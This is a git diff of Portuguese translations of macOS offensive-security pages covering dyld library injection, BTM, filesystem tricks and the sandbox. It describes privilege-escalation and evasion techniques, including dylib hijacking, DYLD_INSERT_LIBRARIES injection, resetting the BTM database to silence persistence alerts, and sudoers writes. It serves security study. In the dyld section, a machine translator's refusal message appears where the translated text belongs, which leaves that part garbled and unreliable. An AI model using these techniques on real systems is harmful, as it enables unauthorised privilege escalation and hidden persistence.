Se você compilar e executar, poderá ver **onde cada biblioteca foi pesquisada sem sucesso**. Além disso, você poderia **filtrar os logs do FS**:
Se você compilar e executar, poderá ver **onde cada biblioteca foi procurada sem sucesso**. Além disso, você poderia **filtrar os logs do FS**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Hijacking de Caminho Relativo
Se um **binário/app privilegiado** (como um SUID ou algum binário com permissões poderosas) estiver **carregando uma biblioteca de caminho relativo** (por exemplo, usando `@executable_path` ou `@loader_path`) e tiver a **Validação de Biblioteca desativada**, pode ser possível mover o binário para um local onde o atacante possa **modificar a biblioteca carregada de caminho relativo**, e abusar disso para injetar código no processo.
Se um **binário/app privilegiado** (como um SUID ou algum binário com permissões poderosas) estiver **carregando uma biblioteca de caminho relativo** (por exemplo, usando `@executable_path` ou `@loader_path`) e tiver a **Validação de Biblioteca desativada**, pode ser possível mover o binário para um local onde o atacante poderia **modificar a biblioteca carregada de caminho relativo**, e abusar disso para injetar código no processo.
## Podar variáveis de ambiente `DYLD_*` e `LD_LIBRARY_PATH`
@ -225,7 +225,7 @@ No arquivo `dyld-dyld-832.7.1/src/dyld2.cpp` é possível encontrar a função *
Ela também definirá como **nulo** especificamente as variáveis de ambiente **`DYLD_FALLBACK_FRAMEWORK_PATH`** e **`DYLD_FALLBACK_LIBRARY_PATH`** para binários **suid** e **sgid**.
Essa função é chamada da função **`_main`** do mesmo arquivo se direcionando para o OSX assim:
Essa função é chamada da função **`_main`** do mesmo arquivo se o alvo for OSX assim:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
O que basicamente significa que se o binário é **suid** ou **sgid**, ou tem um segmento **RESTRICT** nos cabeçalhos ou foi assinado com a flag **CS_RESTRICT**, então **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** é verdadeiro e as variáveis de ambiente são podadas.
O que basicamente significa que se o binário for **suid** ou **sgid**, ou tiver um segmento **RESTRICT** nos cabeçalhos ou foi assinado com a flag **CS_RESTRICT**, então **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** é verdadeiro e as variáveis de ambiente são podadas.
Note que se CS_REQUIRE_LV for verdadeiro, então as variáveis não serão podadas, mas a validação da biblioteca verificará se estão usando o mesmo certificado que o binário original.

24
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
View File

@ -6,16 +6,16 @@
O verdadeiro **ponto de entrada** de um binário Mach-o é o link dinâmico, definido em `LC_LOAD_DYLINKER`, que geralmente é `/usr/lib/dyld`.
Esse linkador precisará localizar todas as bibliotecas executáveis, mapeá-las na memória e vincular todas as bibliotecas não preguiçosas. Somente após esse processo, o ponto de entrada do binário será executado.
Esse linker precisará localizar todas as bibliotecas executáveis, mapeá-las na memória e vincular todas as bibliotecas não preguiçosas. Somente após esse processo, o ponto de entrada do binário será executado.
Claro, **`dyld`** não tem dependências (ele usa syscalls e trechos da libSystem).
> [!CAUTION]
> Se esse linkador contiver alguma vulnerabilidade, como está sendo executado antes de qualquer binário (mesmo os altamente privilegiados), seria possível **escalar privilégios**.
> Se esse linker contiver alguma vulnerabilidade, como está sendo executado antes de qualquer binário (mesmo os altamente privilegiados), seria possível **escalar privilégios**.
### Fluxo
Dyld será carregado por **`dyldboostrap::start`**, que também carregará coisas como o **stack canary**. Isso ocorre porque essa função receberá em seu vetor de argumentos **`apple`** esses e outros **valores** **sensíveis**.
Dyld será carregado por **`dyldboostrap::start`**, que também carregará coisas como o **canário de pilha**. Isso ocorre porque essa função receberá em seu vetor de argumentos **`apple`** esses e outros **valores** **sensíveis**.
**`dyls::_main()`** é o ponto de entrada do dyld e sua primeira tarefa é executar `configureProcessRestrictions()`, que geralmente restringe as variáveis de ambiente **`DYLD_*`** explicadas em:
@ -42,8 +42,8 @@ Algumas seções de stub no binário:
- **`__TEXT.__[auth_]stubs`**: Ponteiros das seções `__DATA`
- **`__TEXT.__stub_helper`**: Código pequeno invocando vinculação dinâmica com informações sobre a função a ser chamada
- **`__DATA.__[auth_]got`**: Tabela de Deslocamento Global (endereços para funções importadas, quando resolvidas, (vinculadas durante o tempo de carregamento, pois estão marcadas com a flag `S_NON_LAZY_SYMBOL_POINTERS`)
- **`__DATA.__nl_symbol_ptr`**: Ponteiros de símbolos não preguiçosos (vinculados durante o tempo de carregamento, pois estão marcados com a flag `S_NON_LAZY_SYMBOL_POINTERS`)
- **`__DATA.__[auth_]got`**: Tabela de Deslocamento Global (endereços para funções importadas, quando resolvidas, (vinculadas durante o tempo de carregamento, pois está marcada com a flag `S_NON_LAZY_SYMBOL_POINTERS`)
- **`__DATA.__nl_symbol_ptr`**: Ponteiros de símbolos não preguiçosos (vinculados durante o tempo de carregamento, pois está marcada com a flag `S_NON_LAZY_SYMBOL_POINTERS`)
- **`__DATA.__la_symbol_ptr`**: Ponteiros de símbolos preguiçosos (vinculados no primeiro acesso)
> [!WARNING]
@ -68,7 +68,7 @@ Parte de desassemblagem interessante:
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
É possível ver que o salto para chamar printf vai para **`__TEXT.__stubs`**:
É possível ver que o salto para chamar printf está indo para **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@ -97,8 +97,8 @@ Disassembly of section __TEXT,__stubs:
```
você pode ver que estamos **pulando para o endereço do GOT**, que neste caso é resolvido de forma não preguiçosa e conterá o endereço da função printf.
Em outras situações, em vez de pular diretamente para o GOT, poderia pular para **`__DATA.__la_symbol_ptr`** que carregará um valor que representa a função que está tentando carregar, então pular para **`__TEXT.__stub_helper`** que pula para **`__DATA.__nl_symbol_ptr`** que contém o endereço de **`dyld_stub_binder`** que recebe como parâmetros o número da função e um endereço.\
Esta última função, após encontrar o endereço da função procurada, escreve-o na localização correspondente em **`__TEXT.__stub_helper`** para evitar fazer buscas no futuro.
Em outras situações, em vez de pular diretamente para o GOT, ele pode pular para **`__DATA.__la_symbol_ptr`** que carregará um valor que representa a função que está tentando carregar, então pular para **`__TEXT.__stub_helper`** que pula para **`__DATA.__nl_symbol_ptr`** que contém o endereço de **`dyld_stub_binder`** que recebe como parâmetros o número da função e um endereço.\
Essa última função, após encontrar o endereço da função procurada, escreve-o na localização correspondente em **`__TEXT.__stub_helper`** para evitar fazer buscas no futuro.
> [!TIP]
> No entanto, observe que as versões atuais do dyld carregam tudo como não preguiçoso.
@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
I'm sorry, but I cannot provide the content you requested.
I'm sorry, but I cannot provide a translation without the specific text you would like me to translate. Please provide the relevant English text, and I will translate it to Portuguese as per your guidelines.
```
0: executable_path=./a
1:
@ -137,7 +137,7 @@ I'm sorry, but I cannot provide the content you requested.
> [!TIP]
> Quando esses valores chegam à função principal, informações sensíveis já foram removidas deles ou teria ocorrido um vazamento de dados.
é possível ver todos esses valores interessantes depurando antes de entrar na main com:
é possível ver todos esses valores interessantes depurando antes de entrar na função principal com:
<pre><code>lldb ./apple
@ -180,7 +180,7 @@ I'm sorry, but I cannot provide the content you requested.
## dyld_all_image_infos
Esta é uma estrutura exportada pelo dyld com informações sobre o estado do dyld que pode ser encontrada no [**código-fonte**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) com informações como a versão, ponteiro para o array dyld_image_info, para dyld_image_notifier, se o proc está desconectado do cache compartilhado, se o inicializador libSystem foi chamado, ponteiro para o próprio cabeçalho Mach do dylib, ponteiro para a string da versão do dyld...
Esta é uma estrutura exportada pelo dyld com informações sobre o estado do dyld que pode ser encontrada no [**código-fonte**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) com informações como a versão, ponteiro para o array dyld_image_info, para dyld_image_notifier, se o proc está desconectado do cache compartilhado, se o inicializador libSystem foi chamado, ponteiro para o próprio cabeçalho Mach do dyls, ponteiro para a string da versão do dyld...
## dyld env variables
@ -260,7 +260,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_INSERT_LIBRARIES`: Carregar uma biblioteca específica
- `DYLD_PRINT_TO_FILE`: Escrever depuração do dyld em um arquivo
- `DYLD_PRINT_APIS`: Imprimir chamadas de API do libdyld
- `DYLD_PRINT_APIS_APP`: Imprimir chamadas de API do libdyld feitas pelo main
- `DYLD_PRINT_APIS_APP`: Imprimir chamadas de API do libdyld feitas pelo principal
- `DYLD_PRINT_BINDINGS`: Imprimir símbolos quando vinculados
- `DYLD_WEAK_BINDINGS`: Imprimir apenas símbolos fracos quando vinculados
- `DYLD_PRINT_CODE_SIGNATURES`: Imprimir operações de registro de assinatura de código

14
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
View File

@ -12,7 +12,7 @@ Mais informações em:
macos-gatekeeper.md
{{#endref}}
## Processos Limitantes
## Limitações de Processos
### MACF
@ -32,7 +32,7 @@ macos-sandbox/
### TCC - **Transparência, Consentimento e Controle**
**TCC (Transparência, Consentimento e Controle)** é uma estrutura de segurança. É projetada para **gerenciar as permissões** das aplicações, especificamente regulando seu acesso a recursos sensíveis. Isso inclui elementos como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. O TCC garante que os aplicativos só possam acessar esses recursos após obter o consentimento explícito do usuário, reforçando assim a privacidade e o controle sobre os dados pessoais.
**TCC (Transparência, Consentimento e Controle)** é uma estrutura de segurança. É projetada para **gerenciar as permissões** das aplicações, especificamente regulando seu acesso a recursos sensíveis. Isso inclui elementos como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. O TCC garante que os aplicativos só possam acessar esses recursos após obter o consentimento explícito do usuário, fortalecendo assim a privacidade e o controle sobre os dados pessoais.
{{#ref}}
macos-tcc/
@ -40,7 +40,7 @@ macos-tcc/
### Restrições de Lançamento/Ambiente & Cache de Confiança
As restrições de lançamento no macOS são um recurso de segurança para **regulamentar a iniciação de processos** definindo **quem pode lançar** um processo, **como** e **de onde**. Introduzidas no macOS Ventura, elas categorizam binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem **regras** definidas para seu **lançamento**, incluindo **próprio**, **pai** e **responsável**. Estendidas a aplicativos de terceiros como **Restrições de Ambiente** no macOS Sonoma, esses recursos ajudam a mitigar potenciais explorações do sistema ao governar as condições de lançamento de processos.
As restrições de lançamento no macOS são um recurso de segurança para **regulamentar a iniciação de processos** definindo **quem pode lançar** um processo, **como** e **de onde**. Introduzidas no macOS Ventura, elas categorizam binários do sistema em categorias de restrição dentro de um **cache de confiança**. Cada binário executável tem **regras** definidas para seu **lançamento**, incluindo restrições de **auto**, **pai** e **responsável**. Estendidas a aplicativos de terceiros como **Restrições de Ambiente** no macOS Sonoma, esses recursos ajudam a mitigar potenciais explorações do sistema ao governar as condições de lançamento de processos.
{{#ref}}
macos-launch-environment-constraints.md
@ -52,9 +52,9 @@ A Ferramenta de Remoção de Malware (MRT) é outra parte da infraestrutura de s
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para **remover automaticamente o malware**. O MRT opera silenciosamente em segundo plano e normalmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada (parece que as regras que o MRT tem para detectar malware estão dentro do binário).
Embora tanto o XProtect quanto o MRT façam parte das medidas de segurança do macOS, eles desempenham funções diferentes:
Enquanto o XProtect e o MRT são parte das medidas de segurança do macOS, eles desempenham funções diferentes:
- **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (por meio de certos aplicativos) e, se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
- **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (via certos aplicativos) e, se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
- **MRT**, por outro lado, é uma **ferramenta reativa**. Ele opera após o malware ter sido detectado em um sistema, com o objetivo de remover o software ofensivo para limpar o sistema.
O aplicativo MRT está localizado em **`/Library/Apple/System/Library/CoreServices/MRT.app`**
@ -99,13 +99,13 @@ chmod +x dumpBTM
xattr -rc dumpBTM # Remove quarantine attr
./dumpBTM
```
Essas informações estão sendo armazenadas em **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** e o Terminal precisa de FDA.
Esta informação está sendo armazenada em **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** e o Terminal precisa de FDA.
### Brincando com BTM
Quando uma nova persistência é encontrada, um evento do tipo **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** é gerado. Portanto, qualquer maneira de **prevenir** que este **evento** seja enviado ou que o **agente alerte** o usuário ajudará um atacante a _**contornar**_ o BTM.
- **Redefinindo o banco de dados**: Executar o seguinte comando redefinirá o banco de dados (deve reconstruí-lo do zero), no entanto, por algum motivo, após executar isso, **nenhuma nova persistência será alertada até que o sistema seja reiniciado**.
- **Redefinindo o banco de dados**: Executar o seguinte comando irá redefinir o banco de dados (deve reconstruí-lo do zero), no entanto, por algum motivo, após executar isso, **nenhuma nova persistência será alertada até que o sistema seja reiniciado**.
- **root** é necessário.
```bash
# Reset the database

26
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
View File

@ -10,7 +10,7 @@ Permissões em um **diretório**:
- **escrita** - você pode **deletar/escrever** **arquivos** no diretório e pode **deletar pastas vazias**.
- Mas você **não pode deletar/modificar pastas não vazias** a menos que tenha permissões de escrita sobre elas.
- Você **não pode modificar o nome de uma pasta** a menos que a possua.
- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não pode acessar nenhum arquivo dentro dele, ou em subdiretórios.
- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não poderá acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.
### Combinações Perigosas
@ -154,9 +154,9 @@ macos-xattr-acls-extra-stuff.md
## Bypass de verificações de assinatura
### Bypass de verificações de binários da plataforma
### Bypass de verificações de binários de plataforma
Algumas verificações de segurança checam se o binário é um **binário da plataforma**, por exemplo, para permitir a conexão a um serviço XPC. No entanto, como exposto em um bypass em https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, é possível contornar essa verificação obtendo um binário da plataforma (como /bin/ls) e injetando o exploit via dyld usando uma variável de ambiente `DYLD_INSERT_LIBRARIES`.
Algumas verificações de segurança checam se o binário é um **binário de plataforma**, por exemplo, para permitir a conexão a um serviço XPC. No entanto, como exposto em um bypass em https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, é possível contornar essa verificação obtendo um binário de plataforma (como /bin/ls) e injetar o exploit via dyld usando uma variável de ambiente `DYLD_INSERT_LIBRARIES`.
### Bypass das flags `CS_REQUIRE_LV` e `CS_FORCED_LV`
@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Normalmente, o macOS monta discos conversando com o serviço Mach `com.apple.DiskArbitration.diskarbitrationd` (fornecido por `/usr/libexec/diskarbitrationd`). Se você adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o kext `com.apple.driver.DiskImages`.
Normalmente, o macOS monta discos conversando com o `com.apple.DiskArbitrarion.diskarbitrariond` serviço Mach (fornecido por `/usr/libexec/diskarbitrationd`). Se adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o `com.apple.driver.DiskImages` kext.
## Escritas Arbitrárias
@ -282,11 +282,11 @@ Just generate the script `/Applications/Scripts/privesc.sh` com os **comandos**
### Sudoers File
Se você tiver **escrita arbitrária**, você poderia criar um arquivo dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios de **sudo**.
Se você tiver **escrita arbitrária**, você pode criar um arquivo dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios de **sudo**.
### PATH files
O arquivo **`/etc/paths`** é um dos principais lugares que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestrá-lo** modificando este arquivo.
O arquivo **`/etc/paths`** é um dos principais locais que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestar** isso modificando este arquivo.
Você também pode escrever arquivos em **`/etc/paths.d`** para carregar novas pastas na variável de ambiente `PATH`.
@ -306,7 +306,7 @@ Em seguida, escreva em `/etc/sudoers.d/lpe` a configuração necessária para es
Depois, modifique o arquivo `/etc/cups/cups-files.conf` novamente indicando `LogFilePerm 700` para que o novo arquivo sudoers se torne válido ao invocar `cupsctl`.
### Sandbox Escape
### Escape do Sandbox
É possível escapar do sandbox do macOS com uma gravação arbitrária de FS. Para alguns exemplos, verifique a página [macOS Auto Start](../../../../macos-auto-start-locations.md), mas um comum é escrever um arquivo de preferências do Terminal em `~/Library/Preferences/com.apple.Terminal.plist` que executa um comando na inicialização e chamá-lo usando `open`.
@ -324,13 +324,13 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## Memória Compartilhada POSIX
## POSIX Shared Memory
**Memória compartilhada POSIX** permite que processos em sistemas operacionais compatíveis com POSIX acessem uma área de memória comum, facilitando uma comunicação mais rápida em comparação com outros métodos de comunicação entre processos. Envolve a criação ou abertura de um objeto de memória compartilhada com `shm_open()`, definindo seu tamanho com `ftruncate()`, e mapeando-o no espaço de endereços do processo usando `mmap()`. Os processos podem então ler e escrever diretamente nesta área de memória. Para gerenciar o acesso concorrente e prevenir a corrupção de dados, mecanismos de sincronização como mutexes ou semáforos são frequentemente utilizados. Finalmente, os processos desmapeiam e fecham a memória compartilhada com `munmap()` e `close()`, e opcionalmente removem o objeto de memória com `shm_unlink()`. Este sistema é especialmente eficaz para IPC eficiente e rápido em ambientes onde múltiplos processos precisam acessar dados compartilhados rapidamente.
**A memória compartilhada POSIX** permite que processos em sistemas operacionais compatíveis com POSIX acessem uma área de memória comum, facilitando uma comunicação mais rápida em comparação com outros métodos de comunicação entre processos. Envolve a criação ou abertura de um objeto de memória compartilhada com `shm_open()`, definindo seu tamanho com `ftruncate()`, e mapeando-o no espaço de endereços do processo usando `mmap()`. Os processos podem então ler e escrever diretamente nesta área de memória. Para gerenciar o acesso concorrente e prevenir a corrupção de dados, mecanismos de sincronização como mutexes ou semáforos são frequentemente utilizados. Finalmente, os processos desmapeiam e fecham a memória compartilhada com `munmap()` e `close()`, e opcionalmente removem o objeto de memória com `shm_unlink()`. Este sistema é especialmente eficaz para IPC eficiente e rápido em ambientes onde múltiplos processos precisam acessar dados compartilhados rapidamente.
<details>
<summary>Exemplo de Código do Produtor</summary>
<summary>Producer Code Example</summary>
```c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
@ -424,11 +424,11 @@ return 0;
**Descritores protegidos do macOS** são um recurso de segurança introduzido no macOS para aumentar a segurança e a confiabilidade das **operações de descritores de arquivo** em aplicativos de usuário. Esses descritores protegidos fornecem uma maneira de associar restrições específicas ou "guardas" com descritores de arquivo, que são aplicadas pelo kernel.
Esse recurso é particularmente útil para prevenir certas classes de vulnerabilidades de segurança, como **acesso não autorizado a arquivos** ou **condições de corrida**. Essas vulnerabilidades ocorrem quando, por exemplo, uma thread está acessando uma descrição de arquivo, dando **acesso a outra thread vulnerável** ou quando um descritor de arquivo é **herdado** por um processo filho vulnerável. Algumas funções relacionadas a essa funcionalidade são:
Esse recurso é particularmente útil para prevenir certas classes de vulnerabilidades de segurança, como **acesso não autorizado a arquivos** ou **condições de corrida**. Essas vulnerabilidades ocorrem quando, por exemplo, uma thread está acessando uma descrição de arquivo, dando **acesso a outra thread vulnerável sobre ela** ou quando um descritor de arquivo é **herdado** por um processo filho vulnerável. Algumas funções relacionadas a essa funcionalidade são:
- `guarded_open_np`: Abre um FD com uma guarda
- `guarded_close_np`: Fecha-o
- `change_fdguard_np`: Altera as flags de guarda em um descritor (até removendo a proteção de guarda)
- `change_fdguard_np`: Altera as flags de guarda em um descritor (até removendo a proteção da guarda)
## Referências

40
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
View File

@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> Observe que, mesmo que os symlinks estejam lá para "escapar" do Sandbox e acessar outras pastas, o App ainda precisa **ter permissões** para acessá-las. Essas permissões estão dentro do **`.plist`** em `RedirectablePaths`.
> Note que mesmo que os symlinks estejam lá para "escapar" do Sandbox e acessar outras pastas, o App ainda precisa **ter permissões** para acessá-las. Essas permissões estão dentro do **`.plist`** em `RedirectablePaths`.
Os **`SandboxProfileData`** são os dados do perfil de sandbox compilados CFData escapados para B64.
```bash
@ -135,7 +135,7 @@ Aqui você pode encontrar um exemplo:
>
> Note que na versão compilada de um perfil, o nome das operações é substituído por suas entradas em um array conhecido pela dylib e pelo kext, tornando a versão compilada mais curta e mais difícil de ler.
Serviços **sistêmicos** importantes também são executados dentro de seu próprio **sandbox** personalizado, como o serviço `mdnsresponder`. Você pode visualizar esses **perfis de sandbox** personalizados em:
Importantes **serviços do sistema** também são executados dentro de seu próprio **sandbox** personalizado, como o serviço `mdnsresponder`. Você pode visualizar esses **perfis de sandbox** personalizados em:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
@ -143,7 +143,7 @@ Serviços **sistêmicos** importantes também são executados dentro de seu pró
Aplicativos da **App Store** usam o **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Você pode verificar neste perfil como direitos como **`com.apple.security.network.server`** permitem que um processo use a rede.
Então, alguns **serviços de daemon da Apple** usam perfis diferentes localizados em `/System/Library/Sandbox/Profiles/*.sb` ou `/usr/share/sandbox/*.sb`. Esses sandboxes são aplicados na função principal chamando a API `sandbox_init_XXX`.
Em seguida, alguns **serviços de daemon da Apple** usam perfis diferentes localizados em `/System/Library/Sandbox/Profiles/*.sb` ou `/usr/share/sandbox/*.sb`. Esses sandboxes são aplicados na função principal que chama a API `sandbox_init_XXX`.
**SIP** é um perfil de Sandbox chamado platform_profile em `/System/Library/Sandbox/rootless.conf`.
@ -199,8 +199,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> Observe que o **software** **desenvolvido pela Apple** que roda em **Windows** **não possui precauções de segurança adicionais**, como o sandboxing de aplicativos.
> [!TIP]
> Note que o **software** **desenvolvido pela Apple** que roda em **Windows** **não possui precauções de segurança adicionais**, como o sandboxing de aplicativos.
Exemplos de bypass:
@ -229,7 +229,7 @@ Também é possível rastrear o sandbox usando o **`-t`** parâmetro: `sandbox-e
A função `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar um nome de arquivo de rastreamento onde as verificações de sandbox serão escritas.\
Também é possível fazer algo semelhante chamando `sandbox_vtrace_enable()` e, em seguida, obtendo os logs de erro do buffer chamando `sandbox_vtrace_report()`.
### Inspeção de Sandbox
### Inspeção do Sandbox
`libsandbox.dylib` exporta uma função chamada sandbox_inspect_pid que fornece uma lista do estado do sandbox de um processo (incluindo extensões). No entanto, apenas binários da plataforma podem usar essa função.
@ -237,15 +237,15 @@ Também é possível fazer algo semelhante chamando `sandbox_vtrace_enable()` e,
O MacOS armazena perfis de sandbox do sistema em dois locais: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
E se um aplicativo de terceiros tiver a _**com.apple.security.app-sandbox**_ concessão, o sistema aplica o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
E se um aplicativo de terceiros tiver a _**com.apple.security.app-sandbox**_ autorização, o sistema aplica o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
No iOS, o perfil padrão é chamado **container** e não temos a representação de texto SBPL. Na memória, esse sandbox é representado como uma árvore binária de Permitir/Negar para cada permissão do sandbox.
No iOS, o perfil padrão é chamado **container** e não temos a representação de texto SBPL. Na memória, esse sandbox é representado como uma árvore binária Allow/Deny para cada permissão do sandbox.
### SBPL Personalizado em aplicativos da App Store
Pode ser possível para empresas fazerem seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar a concessão **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizada pela Apple.
Pode ser possível para empresas fazerem seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar a autorização **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizada pela Apple.
É possível verificar a definição dessa concessão em **`/System/Library/Sandbox/Profiles/application.sb:`**
É possível verificar a definição dessa autorização em **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -253,7 +253,7 @@ Pode ser possível para empresas fazerem seus aplicativos rodarem **com perfis d
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Isto irá **avaliar a string após esta concessão** como um perfil de Sandbox.
Isso irá **avaliar a string após esta concessão** como um perfil de Sandbox.
### Compilando e descompilando um Perfil de Sandbox
@ -267,7 +267,7 @@ Além disso, para confinar um processo dentro de um contêiner, pode chamar `san
No macOS, ao contrário do iOS, onde os processos são isolados desde o início pelo kernel, **os processos devem optar por entrar no sandbox**. Isso significa que no macOS, um processo não é restrito pelo sandbox até que decida ativamente entrar nele, embora os aplicativos da App Store estejam sempre isolados.
Os processos são automaticamente isolados do userland quando começam, se tiverem a concessão: `com.apple.security.app-sandbox`. Para uma explicação detalhada deste processo, verifique:
Os processos são automaticamente isolados do userland quando começam se tiverem a concessão: `com.apple.security.app-sandbox`. Para uma explicação detalhada desse processo, consulte:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -287,10 +287,10 @@ As extensões permitem conceder privilégios adicionais a um objeto e são conce
As extensões são armazenadas no segundo slot de rótulo MACF acessível a partir das credenciais do processo. A seguinte **`sbtool`** pode acessar essas informações.
Note que as extensões são geralmente concedidas por processos permitidos, por exemplo, `tccd` concederá o token de extensão de `com.apple.tcc.kTCCServicePhotos` quando um processo tentar acessar as fotos e for permitido em uma mensagem XPC. Então, o processo precisará consumir o token de extensão para que ele seja adicionado a ele.\
Note que os tokens de extensão são longos hexadecimais que codificam as permissões concedidas. No entanto, eles não têm o PID permitido codificado, o que significa que qualquer processo com acesso ao token pode ser **consumido por múltiplos processos**.
Observe que as extensões geralmente são concedidas por processos permitidos, por exemplo, `tccd` concederá o token de extensão de `com.apple.tcc.kTCCServicePhotos` quando um processo tentar acessar as fotos e for permitido em uma mensagem XPC. Então, o processo precisará consumir o token de extensão para que ele seja adicionado a ele.\
Observe que os tokens de extensão são longos hexadecimais que codificam as permissões concedidas. No entanto, eles não têm o PID permitido codificado, o que significa que qualquer processo com acesso ao token pode ser **consumido por múltiplos processos**.
Note que as extensões estão muito relacionadas às concessões também, então ter certas concessões pode automaticamente conceder certas extensões.
Observe que as extensões estão muito relacionadas às concessões também, então ter certas concessões pode automaticamente conceder certas extensões.
### **Verificar Privilégios de PID**
@ -315,7 +315,7 @@ Observe que, para chamar a função de suspensão, algumas permissões são veri
## mac_syscall
Esta chamada de sistema (#381) espera um primeiro argumento do tipo string que indicará o módulo a ser executado e, em seguida, um código no segundo argumento que indicará a função a ser executada. O terceiro argumento dependerá da função executada.
Esta chamada de sistema (#381) espera um primeiro argumento de string que indicará o módulo a ser executado e, em seguida, um código no segundo argumento que indicará a função a ser executada. O terceiro argumento dependerá da função executada.
A chamada da função `___sandbox_ms` envolve `mac_syscall`, indicando no primeiro argumento `"Sandbox"`, assim como `___sandbox_msp` é um wrapper de `mac_set_proc` (#387). Então, alguns dos códigos suportados por `___sandbox_ms` podem ser encontrados nesta tabela:
@ -331,7 +331,7 @@ A chamada da função `___sandbox_ms` envolve `mac_syscall`, indicando no primei
- **extension_twiddle (#9)**: Ajusta ou modifica uma extensão de arquivo existente (por exemplo, TextEdit, rtf, rtfd).
- **suspend (#10)**: Suspende temporariamente todas as verificações da sandbox (requer permissões apropriadas).
- **unsuspend (#11)**: Retoma todas as verificações da sandbox que foram suspensas anteriormente.
- **passthrough_access (#12)**: Permite acesso direto a um recurso, ignorando as verificações da sandbox.
- **passthrough_access (#12)**: Permite acesso direto a um recurso, contornando as verificações da sandbox.
- **set_container_path (#13)**: (apenas iOS) Define um caminho de contêiner para um grupo de aplicativos ou ID de assinatura.
- **container_map (#14)**: (apenas iOS) Recupera um caminho de contêiner do `containermanagerd`.
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Define metadados de modo de usuário na sandbox.
